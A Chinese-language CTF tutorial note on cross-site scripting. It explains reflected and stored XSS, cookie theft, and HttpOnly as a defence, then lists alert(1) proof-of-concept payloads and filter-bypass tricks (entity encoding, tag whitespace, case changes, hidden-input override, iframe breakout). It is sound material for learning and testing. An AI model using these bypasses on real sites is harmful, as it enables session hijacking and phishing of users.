0x00前言
因為ctf中xss的題目偏少(因為需要機器人在后台點選手的連接2333),所有寫的比較少
這里推薦個環境http://test.xss.tv/
0x01xss作用
常見的輸出函數:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()
xss是往頁面中添加了一段代碼,並且被瀏覽器執行了
反射型將惡意代碼寫入參數,或者自己服務器上搭個form表單傳送,用來釣魚
存儲型就等着別人點這個網頁就行了
0x02手段
xss主要出現的地方:文章發表,評論回復,留言,資料設置等
xss無非就是要對方的cookie,但是常常會有httponly導致cookie並不能傳到xss平台,這是一種有效的防御方式
但是xss預防應該從本質出發,即對該頁面用戶輸入不能被執行
xss觸發方法
利用script標簽執行js
<script>alert(1)</script>
<onclick=alert(1)> =>點擊就會觸發
<onmouseover=alert(1)> =>鼠標移動觸發
能夠使用on事件的標簽
支持on click事件的標簽有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>
采用a標簽來做到xss
<a href="javascript:alert(1)" >
0x03bypass方法
采用編碼,把字符串可以進行編碼
&# 后接十進制 => unicode編碼 &#x 后接十六進制 => unicode編碼
采用標簽中的空隙規則
假設正則是
<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>
可以采用
<script>alert(1)</script > ==> 最后有個p和>間有空格繞過
采用雙寫繞過空字符替換
采用大小寫繞過不嚴格的waf
<script> => <Script>
采用參數覆蓋,覆蓋掉hidden參數
<input name="t_sort" value="" onmouseover=alert(1) type="text" type="hidden">
我們輸入的內容為:" onmouseover=alert(1) type="text
有些標簽的優先級高於",導致執行xss
-
<!--
-
<iframe>
-
<noframes>
-
<noscript>
-
<script>
-
<style>
-
<textarea>
-
<title>
-
<xmp>
具體原理參考鏈接:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg
使用方法
<iframe>"</iframe><script>alert(1)</script>"</iframe> #這語句是會彈框的
假設輸入的內容是
</iframe><script>alert(1)</script>